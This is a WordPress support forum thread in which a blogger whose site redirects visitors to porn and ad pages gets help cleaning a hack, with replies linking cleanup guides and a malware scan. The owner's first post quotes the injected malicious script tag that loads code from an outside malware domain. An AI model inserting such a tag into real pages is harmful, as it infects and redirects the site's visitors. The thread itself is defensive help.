WordPress.org

1. migrationology
   Member
   Posted 1 year ago #

   When I click on a blog post link, it sometimes (not always) says "the page you are looking for has move," and then redirects to a porn site or advertisement.

   I have an unknown script code:
   <script src="http://welcometotheglobalisnet.com/js.php?kk=25"></script>
   that shows up in the quickpress box, on the dashboard of wordpress.

   Any ideas of what this is or what I need to do to get rid of this?

   My url is: http://migrationology.com (however right now my site is down 403 Forbidden, but I think that is just my server doing maintenance)

2. Samuel B
   moderator
   Posted 1 year ago #

   http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/

   http://ottopress.com/2009/hacked-wordpress-backdoors/

   http://codex.wordpress.org/FAQ_My_site_was_hacked

3. dd@sucuri.net
   Member
   Posted 1 year ago #

   Your site is still infected:
   http://sitecheck.sucuri.net/scanner/?scan=http://migrationology.com/

   It seems to be a new malware affecting GoDaddy shared servers today... We already saw a few sites with it:

   http://blog.sucuri.net/2011/02/hilary-kneber-godaddy-and-welcometotheglobalisnet-com.html
   http://sucuri.net/malware/malware-entry-mwgdd5

   Thanks,

4. 123milliseconds
   Member
   Posted 1 year ago #

   Site verified to be secure and malware-free.
   Security report (no threats found):
   Blacklisted: No
   Malware: No
   Malicious javascript: No
   Drive-By Downloads: No
   Anomaly detection: No
   IE-only attacks: No
   Malicious iframes: No
   Suspicious redirections: No
   Spam: No

5. migrationology
   Member
   Posted 1 year ago #

   Thanks so much for all your help. I actually ended up restoring the files on my server to a few days before and then upgraded and changed all my passwords.

   The searches are coming up negative now, so I'm re-submitting back to google.

   Thanks for the help!

Topic Closed

This topic has been closed to new replies.